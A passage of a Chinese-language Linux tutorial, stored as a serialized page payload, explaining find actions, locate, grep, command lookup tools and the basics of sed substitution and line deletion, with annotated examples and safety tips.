小时窗口影响。",[53,79974,79976],{"id":79975},"_2-find-的动作-print-exec-delete","2. find 的动作：-print、-exec、-delete",[11,79978,79979],{},[17,79980,79981],{},"示例 1：先看范围，再动手",[308,79983,79985],{"className":3902,"code":79984,"language":3904,"meta":314,"style":314},"find build -type f -print              # 每个结果一行\nfind . -name '*.tmp' -print0           # -print0 用 \\0 分隔，交给 xargs -0（第八章），处理怪文件名安全\n",[22,79986,79987,80002],{"__ignoreMap":314},[331,79988,79989,79991,79993,79995,79997,79999],{"class":333,"line":334},[331,79990,16382],{"class":501},[331,79992,35439],{"class":365},[331,79994,76089],{"class":344},[331,79996,75783],{"class":365},[331,79998,76094],{"class":344},[331,80000,80001],{"class":1003},"              # 每个结果一行\n",[331,80003,80004,80006,80008,80010,80013,80016],{"class":333,"line":341},[331,80005,16382],{"class":501},[331,80007,46803],{"class":365},[331,80009,16388],{"class":344},[331,80011,80012],{"class":365}," '*.tmp'",[331,80014,80015],{"class":344}," -print0",[331,80017,80018],{"class":1003},"           # -print0 用 \\0 分隔，交给 xargs -0（第八章），处理怪文件名安全\n",[11,80020,80021],{},[17,80022,80023],{},"示例 2：对结果执行命令",[308,80025,80027],{"className":3902,"code":80026,"language":3904,"meta":314,"style":314},"find . -name '*.tmp' -exec rm -f {} \\;         # -exec … \\; 每个文件 fork 一次；{} 替换为路径\nfind . -name '*.tmp' -exec chmod 644 {} +      # -exec … + 把多个路径塞进一次调用，删\u002Fchmod 大量文件时快得多\nfind . -name '*.jpg' -exec convert {} {}.png \\; # 文件少、命令重时用逐个执行\nfind . -name '*.tmp' -ok rm {} \\;              # -ok 每个都问一次，手生时兜底\n",[22,80028,80029,80055,80079,80105],{"__ignoreMap":314},[331,80030,80031,80033,80035,80037,80039,80042,80044,80046,80049,80052],{"class":333,"line":334},[331,80032,16382],{"class":501},[331,80034,46803],{"class":365},[331,80036,16388],{"class":344},[331,80038,80012],{"class":365},[331,80040,80041],{"class":344}," -exec",[331,80043,46759],{"class":365},[331,80045,43839],{"class":344},[331,80047,80048],{"class":365}," {}",[331,80050,80051],{"class":344}," \\;",[331,80053,80054],{"class":1003},"         # -exec … \\; 每个文件 fork 一次；{} 替换为路径\n",[331,80056,80057,80059,80061,80063,80065,80067,80070,80072,80074,80076],{"class":333,"line":341},[331,80058,16382],{"class":501},[331,80060,46803],{"class":365},[331,80062,16388],{"class":344},[331,80064,80012],{"class":365},[331,80066,80041],{"class":344},[331,80068,80069],{"class":365}," chmod",[331,80071,78389],{"class":344},[331,80073,80048],{"class":365},[331,80075,6321],{"class":365},[331,80077,80078],{"class":1003},"      # -exec … + 把多个路径塞进一次调用，删\u002Fchmod 大量文件时快得多\n",[331,80080,80081,80083,80085,80087,80090,80092,80095,80097,80100,80102],{"class":333,"line":357},[331,80082,16382],{"class":501},[331,80084,46803],{"class":365},[331,80086,16388],{"class":344},[331,80088,80089],{"class":365}," '*.jpg'",[331,80091,80041],{"class":344},[331,80093,80094],{"class":365}," convert",[331,80096,80048],{"class":365},[331,80098,80099],{"class":365}," {}.png",[331,80101,80051],{"class":344},[331,80103,80104],{"class":1003}," # 文件少、命令重时用逐个执行\n",[331,80106,80107,80109,80111,80113,80115,80118,80120,80122,80124],{"class":333,"line":371},[331,80108,16382],{"class":501},[331,80110,46803],{"class":365},[331,80112,16388],{"class":344},[331,80114,80012],{"class":365},[331,80116,80117],{"class":344}," -ok",[331,80119,46759],{"class":365},[331,80121,80048],{"class":365},[331,80123,80051],{"class":344},[331,80125,80126],{"class":1003},"              # -ok 每个都问一次，手生时兜底\n",[11,80128,80129],{},[17,80130,80131],{},"示例 3：直接删",[308,80133,80135],{"className":3902,"code":80134,"language":3904,"meta":314,"style":314},"find logs -name '*.log' -mtime +7 -delete    # -delete 内置删除，不 fork，隐含 -depth（先删文件后删目录）\n",[22,80136,80137],{"__ignoreMap":314},[331,80138,80139,80141,80143,80145,80147,80149,80151,80154],{"class":333,"line":334},[331,80140,16382],{"class":501},[331,80142,49928],{"class":365},[331,80144,16388],{"class":344},[331,80146,79723],{"class":365},[331,80148,79877],{"class":344},[331,80150,79880],{"class":365},[331,80152,80153],{"class":344}," -delete",[331,80155,80156],{"class":1003},"    # -delete 内置删除，不 fork，隐含 -depth（先删文件后删目录）\n",[11,80158,80159,5160,80161,80164],{},[22,80160,79675],{},[22,80162,80163],{},"-exec rm {} +"," 的差别值得记牢：",[57,80166,80167,80181],{},[60,80168,80169],{},[63,80170,80171,80173,80177],{},[66,80172,36604],{},[66,80174,80175],{},[22,80176,79675],{},[66,80178,80179],{},[22,80180,80163],{},[79,80182,80183,80196,80210,80227,80243,80257],{},[63,80184,80185,80188,80191],{},[84,80186,80187],{},"速度",[84,80189,80190],{},"快（无 fork，find 自己 unlink）",[84,80192,80193,80194],{},"每个批次 fork 一次 ",[22,80195,52134],{},[63,80197,80198,80201,80203],{},[84,80199,80200],{},"能否跑外部命令",[84,80202,24918],{},[84,80204,80205,80206,80209],{},"能（",[22,80207,80208],{},"-exec sh -c '…'"," 任意组合）",[63,80211,80212,80215,80224],{},[84,80213,80214],{},"隐含行为",[84,80216,80217,80218,18878,80221],{},"自动 ",[22,80219,80220],{},"-depth",[17,80222,80223],{},"先删文件后删目录",[84,80225,80226],{},"需自己保证顺序",[63,80228,80229,80231,80237],{},[84,80230,78127],{},[84,80232,80233,80234,5149],{},"只能删空目录（非空报 ",[22,80235,80236],{},"Directory not empty",[84,80238,80239,80242],{},[22,80240,80241],{},"rm -r"," 能连子树一起删",[63,80244,80245,80248,80251],{},[84,80246,80247],{},"误删风险",[84,80249,80250],{},"条件写错就当场删完",[84,80252,80253,80254,80256],{},"同样当场删，但可以换成 ",[22,80255,79669],{}," 先看",[63,80258,80259,80262,80270],{},[84,80260,80261],{},"安全建议",[84,80263,80264],{},[17,80265,80266,80267,80269],{},"永远先跑一遍去掉 ",[22,80268,79675],{}," 的版本",[84,80271,80272,80273,80276],{},"同上；",[22,80274,80275],{},"-exec rm -i"," 可加确认",[11,80278,80279,80280,5160,80282,80284,80285,5760,80288,80290,80291,80294,80295,161],{},"危险的是 ",[22,80281,79675],{},[22,80283,79698],{}," 组合时优先级误解：",[22,80286,80287],{},"find . -name a -o -name b -delete",[22,80289,79675],{}," 只作用于 ",[22,80292,80293],{},"-name b","，要用括号 ",[22,80296,80297],{},"\\( -name a -o -name b \\) -delete",[11,80299,80300],{},[17,80301,80302],{},"示例 4：格式化输出做报表",[308,80304,80306],{"className":3902,"code":80305,"language":3904,"meta":314,"style":314},"find \u002F -xdev -type f -size +200M -printf '%s\\t%p\\n' | sort -rn | head\n# -printf 常用转义：%p 全路径、%f 文件名、%h 所在目录、%s 字节、%m 八进制权限、\n# %u\u002F%g 属主\u002F组、%TY-%Tm-%Td 日期、%i inode 号（找硬链接）——这是「谁占了空间」的组合拳\n",[22,80307,80308,80343,80348],{"__ignoreMap":314},[331,80309,80310,80312,80314,80316,80318,80320,80322,80325,80328,80331,80333,80335,80338,80340],{"class":333,"line":334},[331,80311,16382],{"class":501},[331,80313,6544],{"class":365},[331,80315,79795],{"class":344},[331,80317,76089],{"class":344},[331,80319,75783],{"class":365},[331,80321,79862],{"class":344},[331,80323,80324],{"class":365}," +200M",[331,80326,80327],{"class":344}," -printf",[331,80329,80330],{"class":365}," '%s\\t%p\\n'",[331,80332,15984],{"class":616},[331,80334,50663],{"class":501},[331,80336,80337],{"class":344}," -rn",[331,80339,15984],{"class":616},[331,80341,80342],{"class":501}," head\n",[331,80344,80345],{"class":333,"line":341},[331,80346,80347],{"class":1003},"# -printf 常用转义：%p 全路径、%f 文件名、%h 所在目录、%s 字节、%m 八进制权限、\n",[331,80349,80350],{"class":333,"line":357},[331,80351,80352],{"class":1003},"# %u\u002F%g 属主\u002F组、%TY-%Tm-%Td 日期、%i inode 号（找硬链接）——这是「谁占了空间」的组合拳\n",[53,80354,80356],{"id":80355},"_3-locate-靠数据库快但不实时","3. locate —— 靠数据库，快但不实时",[11,80358,80359],{},[17,80360,80361],{},"示例 1：秒查全盘",[308,80363,80365],{"className":3902,"code":80364,"language":3904,"meta":314,"style":314},"locate nginx.conf        # 从数据库查，结果可能包含已删除的文件\nlocate -i 'id_rsa*'      # -i 忽略大小写 + glob；默认按子串匹配，-r '^\u002Fetc\u002F' 用正则\nlocate -b '\\.conf'       # -b 只按文件名基名匹配（不被当成路径一部分），少了误报\nsudo updatedb            # 刚建的文件查不到？手动重建数据库\n",[22,80366,80367,80377,80389,80401],{"__ignoreMap":314},[331,80368,80369,80371,80374],{"class":333,"line":334},[331,80370,79644],{"class":501},[331,80372,80373],{"class":365}," nginx.conf",[331,80375,80376],{"class":1003},"        # 从数据库查，结果可能包含已删除的文件\n",[331,80378,80379,80381,80383,80386],{"class":333,"line":341},[331,80380,79644],{"class":501},[331,80382,53226],{"class":344},[331,80384,80385],{"class":365}," 'id_rsa*'",[331,80387,80388],{"class":1003},"      # -i 忽略大小写 + glob；默认按子串匹配，-r '^\u002Fetc\u002F' 用正则\n",[331,80390,80391,80393,80395,80398],{"class":333,"line":357},[331,80392,79644],{"class":501},[331,80394,76000],{"class":344},[331,80396,80397],{"class":365}," '\\.conf'",[331,80399,80400],{"class":1003},"       # -b 只按文件名基名匹配（不被当成路径一部分），少了误报\n",[331,80402,80403,80405,80408],{"class":333,"line":371},[331,80404,37063],{"class":501},[331,80406,80407],{"class":365}," updatedb",[331,80409,80410],{"class":1003},"            # 刚建的文件查不到？手动重建数据库\n",[11,80412,80413,80414,80417,80418,272,80421,80424,80425,80427,80428,80430,80431,80434,80435,80438,80439,80442,80443,161],{},"数据库由 ",[22,80415,80416],{},"\u002Fetc\u002Fupdatedb.conf"," 决定（",[22,80419,80420],{},"PRUNEFS",[22,80422,80423],{},"PRUNEPATHS","），NFS\u002FFUSE\u002F容器卷通常被排除，所以「",[22,80426,79644],{}," 找不到但 ",[22,80429,16382],{}," 能找到」多半是这个原因。没装时：Debian ",[22,80432,80433],{},"apt install mlocate","、RHEL 系 ",[22,80436,80437],{},"dnf install mlocate","（新版是 ",[22,80440,80441],{},"plocate","）、Alpine 一般直接用 ",[22,80444,16382],{},[53,80446,80448],{"id":80447},"_4-grep-r-按内容找文件","4. grep -r —— 按内容找文件",[11,80450,80451],{},[17,80452,80453],{},"示例 1：哪些文件里有某个词",[308,80455,80457],{"className":3902,"code":80456,"language":3904,"meta":314,"style":314},"grep -rl 'bind_port' \u002Fetc                  # -r 递归、-l 只列文件名\ngrep -rl --include='*.conf' 'listen' \u002Fetc  # 限制文件类型\ngrep -rL 'strict' conf.d                   # -L 反向：输出没有匹配的文件名\ngrep -rn 'bind_port' \u002Fetc                  # -n 显示行号，直接看匹配在哪一行\ngrep -rlZ 'A' dir | xargs -0 grep -l 'B'   # 找两个词都在的文件，注意 -Z\u002F-0 配对\n",[22,80458,80459,80474,80494,80510,80523],{"__ignoreMap":314},[331,80460,80461,80463,80466,80469,80471],{"class":333,"line":334},[331,80462,17339],{"class":501},[331,80464,80465],{"class":344}," -rl",[331,80467,80468],{"class":365}," 'bind_port'",[331,80470,79748],{"class":365},[331,80472,80473],{"class":1003},"                  # -r 递归、-l 只列文件名\n",[331,80475,80476,80478,80480,80483,80486,80489,80491],{"class":333,"line":341},[331,80477,17339],{"class":501},[331,80479,80465],{"class":344},[331,80481,80482],{"class":344}," --include=",[331,80484,80485],{"class":365},"'*.conf'",[331,80487,80488],{"class":365}," 'listen'",[331,80490,79748],{"class":365},[331,80492,80493],{"class":1003},"  # 限制文件类型\n",[331,80495,80496,80498,80501,80504,80507],{"class":333,"line":357},[331,80497,17339],{"class":501},[331,80499,80500],{"class":344}," -rL",[331,80502,80503],{"class":365}," 'strict'",[331,80505,80506],{"class":365}," conf.d",[331,80508,80509],{"class":1003},"                   # -L 反向：输出没有匹配的文件名\n",[331,80511,80512,80514,80516,80518,80520],{"class":333,"line":371},[331,80513,17339],{"class":501},[331,80515,80337],{"class":344},[331,80517,80468],{"class":365},[331,80519,79748],{"class":365},[331,80521,80522],{"class":1003},"                  # -n 显示行号，直接看匹配在哪一行\n",[331,80524,80525,80527,80530,80533,80535,80537,80539,80542,80544,80546,80549],{"class":333,"line":384},[331,80526,17339],{"class":501},[331,80528,80529],{"class":344}," -rlZ",[331,80531,80532],{"class":365}," 'A'",[331,80534,78514],{"class":365},[331,80536,15984],{"class":616},[331,80538,16396],{"class":501},[331,80540,80541],{"class":344}," -0",[331,80543,16363],{"class":365},[331,80545,43868],{"class":344},[331,80547,80548],{"class":365}," 'B'",[331,80550,80551],{"class":1003},"   # 找两个词都在的文件，注意 -Z\u002F-0 配对\n",[11,80553,80554,80555,80558,80559,80562,80563,80565],{},"装了 ",[22,80556,80557],{},"ripgrep"," 的话 ",[22,80560,80561],{},"rg -l bind_port"," 默认尊重 ",[22,80564,11576],{}," 且快一个数量级，开发机上推荐；服务器上不一定有，别写进部署脚本。",[53,80567,80569],{"id":80568},"_5-查命令在哪which-whereis-type","5. 查命令在哪：which \u002F whereis \u002F type",[57,80571,80572,80586],{},[60,80573,80574],{},[63,80575,80576,80578,80581,80583],{},[66,80577,5040],{},[66,80579,80580],{},"会找到",[66,80582,5441],{},[66,80584,80585],{},"局限",[79,80587,80588,80608,80624,80641,80661,80684],{},[63,80589,80590,80595,80600,80605],{},[84,80591,80592],{},[22,80593,80594],{},"which python3",[84,80596,80597,80599],{},[22,80598,47784],{}," 里的可执行文件",[84,80601,80602],{},[22,80603,80604],{},"\u002Fusr\u002Fbin\u002Fpython3",[84,80606,80607],{},"看不到别名、函数、内建；不是 POSIX 标准",[63,80609,80610,80615,80618,80621],{},[84,80611,80612],{},[22,80613,80614],{},"type -a python3",[84,80616,80617],{},"全部来源（别名\u002F函数\u002F内建\u002F文件）",[84,80619,80620],{},"三条一起列出",[84,80622,80623],{},"交互式排查首选",[63,80625,80626,80631,80634,80638],{},[84,80627,80628],{},[22,80629,80630],{},"command -v python3",[84,80632,80633],{},"只输出路径（脚本标准写法）",[84,80635,80636],{},[22,80637,80604],{},[84,80639,80640],{},"内建会输出名字本身",[63,80642,80643,80648,80651,80656],{},[84,80644,80645],{},[22,80646,80647],{},"whereis nginx",[84,80649,80650],{},"二进制 + 源码 + man 页",[84,80652,80653],{},[22,80654,80655],{},"\u002Fusr\u002Fsbin\u002Fnginx \u002Fusr\u002Fshare\u002Fman\u002Fman8\u002Fnginx.8.gz",[84,80657,80658,80659],{},"按固定目录猜，不看 ",[22,80660,47784],{},[63,80662,80663,80668,80671,80678],{},[84,80664,80665],{},[22,80666,80667],{},"apropos backup",[84,80669,80670],{},"帮助文本里含关键词的命令名",[84,80672,80673,272,80675,5822],{},[22,80674,50369],{},[22,80676,80677],{},"dump",[84,80679,67076,80680,80683],{},[22,80681,80682],{},"man-db"," 索引存在",[63,80685,80686,80691,80694,80699],{},[84,80687,80688],{},[22,80689,80690],{},"readlink -f $(command -v python3)",[84,80692,80693],{},"剥开所有软链接到真实文件",[84,80695,80696],{},[22,80697,80698],{},"\u002Fusr\u002Fbin\u002Fpython3.12",[84,80700,80701],{},"排查 alternatives 时常用",[53,80703,75156],{"id":80704},"踩坑提醒-5",[1773,80706,80707,80721,80733,80748],{},[1662,80708,80709,1677,80711,80713,80714,80717,80718,80720],{},[22,80710,16382],{},[22,80712,79659],{}," 忘加引号：",[22,80715,80716],{},"find \u002F -name *.log"," 会被当前目录里的 ",[22,80719,48627],{}," 先展开，结果扫的是无关名字。",[1662,80722,80723,80726,80727,6745,80730,80732],{},[22,80724,80725],{},"-mtime -7"," 与「最近 7 天」的直觉不完全一致（按 24 小时窗口而非日历天），要精确到分钟用 ",[22,80728,80729],{},"-mmin -10080",[22,80731,79971],{},"（后者最直观，强烈推荐）。",[1662,80734,80735,80737,80738,80741,80742,8953,80745,161],{},[22,80736,16382],{}," 输出直接喂给 ",[22,80739,80740],{},"xargs"," 会被空格\u002F换行坑到，一律 ",[22,80743,80744],{},"-print0",[22,80746,80747],{},"xargs -0",[1662,80749,1847,80750,80752,80753,80755,80756,80758,80759,80762,80763,80766],{},[22,80751,655],{}," 上跑 ",[22,80754,16382],{}," 会大量报 ",[22,80757,78100],{},"：加 ",[22,80760,80761],{},"2>\u002Fdev\u002Fnull"," 静音，或用 ",[22,80764,80765],{},"-xdev"," 限制在当前文件系统。",[48,80768,80770],{"id":80769},"七文本处理三剑客grepsedawk","七、文本处理三剑客：grep、sed、awk",[11,80772,80773,80774,80776,80777,80779,80780,80783,80784,272,80786,272,80789,272,80792,272,80794,80797,80798,5160,80800,80802,80803,161],{},"日志分析、配置批改、数据统计，靠的就是 ",[22,80775,17339],{},"（找）、",[22,80778,75045],{},"（改行）、",[22,80781,80782],{},"awk","（按列算）。再加五个小工具 ",[22,80785,66355],{},[22,80787,80788],{},"uniq",[22,80790,80791],{},"cut",[22,80793,63],{},[22,80795,80796],{},"wc","，能解决 95% 的「文本加工」需求。",[22,80799,80782],{},[22,80801,75045],{}," 的分工一句话：",[17,80804,80805],{},"改文本用 sed，算数据用 awk",[4748,80807],{"height":5635,"src":80808,"title":80809},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F07-text-tools.html","示例 07：grep \u002F sed \u002F awk 三连与日志统计",[53,80811,80813],{"id":80812},"_1-grep-查找匹配的行","1. grep —— 查找匹配的行",[11,80815,80816,80818,80819,161],{},[22,80817,17339],{}," 基本格式：",[22,80820,80821],{},"grep [选项] 模式 文件…",[11,80823,80824],{},[17,80825,80826],{},"示例 1：基础查找",[308,80828,80830],{"className":3902,"code":80829,"language":3904,"meta":314,"style":314},"grep 'ERROR' app.log         # 输出包含 ERROR 的行\ngrep -i error app.log        # -i 忽略大小写\ngrep -n 'listen' nginx.conf  # -n 显示行号\ngrep -c 'ERROR' app.log      # -c 只输出匹配的行数\ngrep -w 'id' data.txt        # -w 整词匹配，不会命中 width\ngrep -v '^#' app.conf        # -v 反选（排除），常用它去注释\ngrep -F '1.2.3' version.txt  # -F 按字面字符串匹配（不当正则），最快最安全\ngrep -m 1 'Start' big.log    # -m 1 匹配到第一条就停，大文件里找开头很有用\n",[22,80831,80832,80844,80858,80871,80884,80899,80913,80928],{"__ignoreMap":314},[331,80833,80834,80836,80839,80841],{"class":333,"line":334},[331,80835,17339],{"class":501},[331,80837,80838],{"class":365}," 'ERROR'",[331,80840,75768],{"class":365},[331,80842,80843],{"class":1003},"         # 输出包含 ERROR 的行\n",[331,80845,80846,80848,80850,80853,80855],{"class":333,"line":341},[331,80847,17339],{"class":501},[331,80849,53226],{"class":344},[331,80851,80852],{"class":365}," error",[331,80854,75768],{"class":365},[331,80856,80857],{"class":1003},"        # -i 忽略大小写\n",[331,80859,80860,80862,80864,80866,80868],{"class":333,"line":357},[331,80861,17339],{"class":501},[331,80863,75986],{"class":344},[331,80865,80488],{"class":365},[331,80867,80373],{"class":365},[331,80869,80870],{"class":1003},"  # -n 显示行号\n",[331,80872,80873,80875,80877,80879,80881],{"class":333,"line":371},[331,80874,17339],{"class":501},[331,80876,15990],{"class":344},[331,80878,80838],{"class":365},[331,80880,75768],{"class":365},[331,80882,80883],{"class":1003},"      # -c 只输出匹配的行数\n",[331,80885,80886,80888,80891,80894,80896],{"class":333,"line":384},[331,80887,17339],{"class":501},[331,80889,80890],{"class":344}," -w",[331,80892,80893],{"class":365}," 'id'",[331,80895,76807],{"class":365},[331,80897,80898],{"class":1003},"        # -w 整词匹配，不会命中 width\n",[331,80900,80901,80903,80905,80908,80910],{"class":333,"line":397},[331,80902,17339],{"class":501},[331,80904,51745],{"class":344},[331,80906,80907],{"class":365}," '^#'",[331,80909,78392],{"class":365},[331,80911,80912],{"class":1003},"        # -v 反选（排除），常用它去注释\n",[331,80914,80915,80917,80919,80922,80925],{"class":333,"line":418},[331,80916,17339],{"class":501},[331,80918,76871],{"class":344},[331,80920,80921],{"class":365}," '1.2.3'",[331,80923,80924],{"class":365}," version.txt",[331,80926,80927],{"class":1003},"  # -F 按字面字符串匹配（不当正则），最快最安全\n",[331,80929,80930,80932,80934,80936,80939,80942],{"class":333,"line":427},[331,80931,17339],{"class":501},[331,80933,79305],{"class":344},[331,80935,30777],{"class":344},[331,80937,80938],{"class":365}," 'Start'",[331,80940,80941],{"class":365}," big.log",[331,80943,80944],{"class":1003},"    # -m 1 匹配到第一条就停，大文件里找开头很有用\n",[11,80946,80947],{},[17,80948,80949],{},"示例 2：正则匹配",[308,80951,80953],{"className":3902,"code":80952,"language":3904,"meta":314,"style":314},"grep -E 'ERROR|FATAL' app.log                  # -E 扩展正则，或直接用 |（等价 egrep，但别再用 egrep）\ngrep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log  # -o 只输出匹配到的部分——抠 IP\ngrep '\\broot\\b' pass.conf                      # \\b 词边界（GNU）\ngrep '[[:space:]]$' conf                       # 找行尾空格（[[:digit:]] 类写法不受 locale 影响）\n",[22,80954,80955,80969,80984,80997],{"__ignoreMap":314},[331,80956,80957,80959,80961,80964,80966],{"class":333,"line":334},[331,80958,17339],{"class":501},[331,80960,57260],{"class":344},[331,80962,80963],{"class":365}," 'ERROR|FATAL'",[331,80965,75768],{"class":365},[331,80967,80968],{"class":1003},"                  # -E 扩展正则，或直接用 |（等价 egrep，但别再用 egrep）\n",[331,80970,80971,80973,80976,80979,80981],{"class":333,"line":341},[331,80972,17339],{"class":501},[331,80974,80975],{"class":344}," -oE",[331,80977,80978],{"class":365}," '[0-9]{1,3}(\\.[0-9]{1,3}){3}'",[331,80980,76740],{"class":365},[331,80982,80983],{"class":1003},"  # -o 只输出匹配到的部分——抠 IP\n",[331,80985,80986,80988,80991,80994],{"class":333,"line":357},[331,80987,17339],{"class":501},[331,80989,80990],{"class":365}," '\\broot\\b'",[331,80992,80993],{"class":365}," pass.conf",[331,80995,80996],{"class":1003},"                      # \\b 词边界（GNU）\n",[331,80998,80999,81001,81004,81006],{"class":333,"line":371},[331,81000,17339],{"class":501},[331,81002,81003],{"class":365}," '[[:space:]]$'",[331,81005,29044],{"class":365},[331,81007,81008],{"class":1003},"                       # 找行尾空格（[[:digit:]] 类写法不受 locale 影响）\n",[11,81010,81011,81012,81014],{},"正则元字符记忆表（ERE，即 ",[22,81013,79150],{}," 模式）：",[57,81016,81017,81027],{},[60,81018,81019],{},[63,81020,81021,81023,81025],{},[66,81022,19254],{},[66,81024,49671],{},[66,81026,5441],{},[79,81028,81029,81049,81068,81084,81098,81114],{},[63,81030,81031,81041,81044],{},[84,81032,81033,268,81035,268,81037,268,81039],{},[22,81034,1192],{},[22,81036,18020],{},[22,81038,12714],{},[22,81040,1177],{},[84,81042,81043],{},"任意字符 \u002F 0 或多 \u002F 1 或多 \u002F 0 或 1",[84,81045,81046],{},[22,81047,81048],{},"^GET .* 200$",[63,81050,81051,81059,81062],{},[84,81052,81053,272,81056],{},[22,81054,81055],{},"[0-9]",[22,81057,81058],{},"[[:digit:]]",[84,81060,81061],{},"字符类（后者不受 locale 影响）",[84,81063,81064,81067],{},[22,81065,81066],{},"grep '[[:space:]]$' conf"," 找行尾空格",[63,81069,81070,81075,81078],{},[84,81071,81072],{},[22,81073,81074],{},"{n,m}",[84,81076,81077],{},"出现次数区间",[84,81079,81080,81083],{},[22,81081,81082],{},"grep -E '[0-9]{1,3}(\\.[0-9]{1,3}){3}'"," 粗查 IP",[63,81085,81086,81090,81093],{},[84,81087,81088],{},[22,81089,19115],{},[84,81091,81092],{},"或",[84,81094,81095],{},[22,81096,81097],{},"-E 'warn|error'",[63,81099,81100,81106,81108],{},[84,81101,81102,268,81104],{},[22,81103,1170],{},[22,81105,54777],{},[84,81107,77575],{},[84,81109,81110,81113],{},[22,81111,81112],{},"grep -c '^$'"," 数空行",[63,81115,81116,81121,81124],{},[84,81117,81118],{},[22,81119,81120],{},"\\b",[84,81122,81123],{},"词边界（GNU）",[84,81125,81126],{},[22,81127,81128],{},"grep '\\broot\\b'",[11,81130,81131],{},[17,81132,81133],{},"示例 3：上下文与多文件",[308,81135,81137],{"className":3902,"code":81136,"language":3904,"meta":314,"style":314},"grep -C 3 'Traceback' app.log    # -C 3 上下各 3 行；-A 只有后、-B 只有前\ngrep -rl 'TODO' src              # -l 只输出文件名\ngrep -q 'pattern' f && echo 有    # -q 不输出只给状态码，脚本判断「有没有搜到」专用\ntail -f app.log | grep --line-buffered ERROR   # 实时管道必备 --line-buffered\n",[22,81138,81139,81155,81169,81191],{"__ignoreMap":314},[331,81140,81141,81143,81145,81147,81150,81152],{"class":333,"line":334},[331,81142,17339],{"class":501},[331,81144,52017],{"class":344},[331,81146,59421],{"class":344},[331,81148,81149],{"class":365}," 'Traceback'",[331,81151,75768],{"class":365},[331,81153,81154],{"class":1003},"    # -C 3 上下各 3 行；-A 只有后、-B 只有前\n",[331,81156,81157,81159,81161,81164,81166],{"class":333,"line":341},[331,81158,17339],{"class":501},[331,81160,80465],{"class":344},[331,81162,81163],{"class":365}," 'TODO'",[331,81165,894],{"class":365},[331,81167,81168],{"class":1003},"              # -l 只输出文件名\n",[331,81170,81171,81173,81176,81179,81181,81183,81185,81188],{"class":333,"line":357},[331,81172,17339],{"class":501},[331,81174,81175],{"class":344}," -q",[331,81177,81178],{"class":365}," 'pattern'",[331,81180,75783],{"class":365},[331,81182,34829],{"class":337},[331,81184,49056],{"class":344},[331,81186,81187],{"class":365}," 有",[331,81189,81190],{"class":1003},"    # -q 不输出只给状态码，脚本判断「有没有搜到」专用\n",[331,81192,81193,81195,81197,81199,81201,81203,81205,81208],{"class":333,"line":371},[331,81194,76829],{"class":501},[331,81196,43839],{"class":344},[331,81198,75768],{"class":365},[331,81200,15984],{"class":616},[331,81202,16363],{"class":501},[331,81204,76911],{"class":344},[331,81206,81207],{"class":365}," ERROR",[331,81209,81210],{"class":1003},"   # 实时管道必备 --line-buffered\n",[53,81212,81214],{"id":81213},"_2-sed-按行替换与删除","2. sed —— 按行替换与删除",[11,81216,81217,81219,81220,161],{},[22,81218,75045],{}," 把输入按行读进「模式空间」，执行脚本后输出。核心是 ",[22,81221,81222],{},"s\u002F找\u002F换\u002F标志",[11,81224,81225],{},[17,81226,81227],{},"示例 1：替换",[308,81229,81231],{"className":3902,"code":81230,"language":3904,"meta":314,"style":314},"sed 's\u002Fold\u002Fnew\u002F' file         # 每行第一个匹配替换；只输出到终端，不改文件\nsed 's\u002Fold\u002Fnew\u002Fg' file        # g 每行全部替换——不加 g 是常见遗漏\nsed 's\\|\u002Fa\u002Fb\\|\u002Fa\u002Fc\\|g' file   # 换分隔符避开路径里的 \u002F，也可用 #、@\nsed 's\u002Fx\u002Fy\u002F2' file            # 只替换每行第 2 个匹配\nsed -E 's\u002F([0-9]+)\u002F[\\1]\u002Fg'    # -E 扩展正则；() 分组、\\1 回引用、& 代表整段匹配\n",[22,81232,81233,81245,81257,81269,81281],{"__ignoreMap":314},[331,81234,81235,81237,81240,81242],{"class":333,"line":334},[331,81236,75045],{"class":501},[331,81238,81239],{"class":365}," 's\u002Fold\u002Fnew\u002F'",[331,81241,10499],{"class":365},[331,81243,81244],{"class":1003},"         # 每行第一个匹配替换；只输出到终端，不改文件\n",[331,81246,81247,81249,81252,81254],{"class":333,"line":341},[331,81248,75045],{"class":501},[331,81250,81251],{"class":365}," 's\u002Fold\u002Fnew\u002Fg'",[331,81253,10499],{"class":365},[331,81255,81256],{"class":1003},"        # g 每行全部替换——不加 g 是常见遗漏\n",[331,81258,81259,81261,81264,81266],{"class":333,"line":357},[331,81260,75045],{"class":501},[331,81262,81263],{"class":365}," 's\\|\u002Fa\u002Fb\\|\u002Fa\u002Fc\\|g'",[331,81265,10499],{"class":365},[331,81267,81268],{"class":1003},"   # 换分隔符避开路径里的 \u002F，也可用 #、@\n",[331,81270,81271,81273,81276,81278],{"class":333,"line":371},[331,81272,75045],{"class":501},[331,81274,81275],{"class":365}," 's\u002Fx\u002Fy\u002F2'",[331,81277,10499],{"class":365},[331,81279,81280],{"class":1003},"            # 只替换每行第 2 个匹配\n",[331,81282,81283,81285,81287,81290],{"class":333,"line":384},[331,81284,75045],{"class":501},[331,81286,57260],{"class":344},[331,81288,81289],{"class":365}," 's\u002F([0-9]+)\u002F[\\1]\u002Fg'",[331,81291,81292],{"class":1003},"    # -E 扩展正则；() 分组、\\1 回引用、& 代表整段匹配\n",[11,81294,81295,81296,81298,81299,268,81301,268,81303,81305,81306,268,81309,268,81312,18878,81315,81317],{},"注意 BRE（默认）与 ERE（",[22,81297,79150],{},"）的区别：BRE 里 ",[22,81300,12714],{},[22,81302,1177],{},[22,81304,62308],{}," 要写成 ",[22,81307,81308],{},"\\+",[22,81310,81311],{},"\\?",[22,81313,81314],{},"\\{",[22,81316,79150],{}," 后反过来不转义。",[11,81319,81320],{},[17,81321,81322],{},"示例 2：取行与删行",[308,81324,81326],{"className":3902,"code":81325,"language":3904,"meta":314,"style":314},"sed -n '10,20p' file      # -n 关掉默认输出 + p 只打印 10–20 行\nsed '5d' file             # d 删第 5 行；'5,9d' 删区间\nsed '\u002F^$\u002Fd' file          # 删空行（匹配用 \u002F正则\u002F 代替行号）\nsed '\u002Fpattern\u002Fd' file     # 删含 pattern 的行；想删它的下一行用 pattern\u002F{n;d}\nsed -n '\u002FERROR\u002F,+3p' file # 匹配行及其后 3 行（GNU 扩展 +N）\n",[22,81327,81328,81342,81354,81366,81378],{"__ignoreMap":314},[331,81329,81330,81332,81334,81337,81339],{"class":333,"line":334},[331,81331,75045],{"class":501},[331,81333,75986],{"class":344},[331,81335,81336],{"class":365}," '10,20p'",[331,81338,10499],{"class":365},[331,81340,81341],{"class":1003},"      # -n 关掉默认输出 + p 只打印 10–20 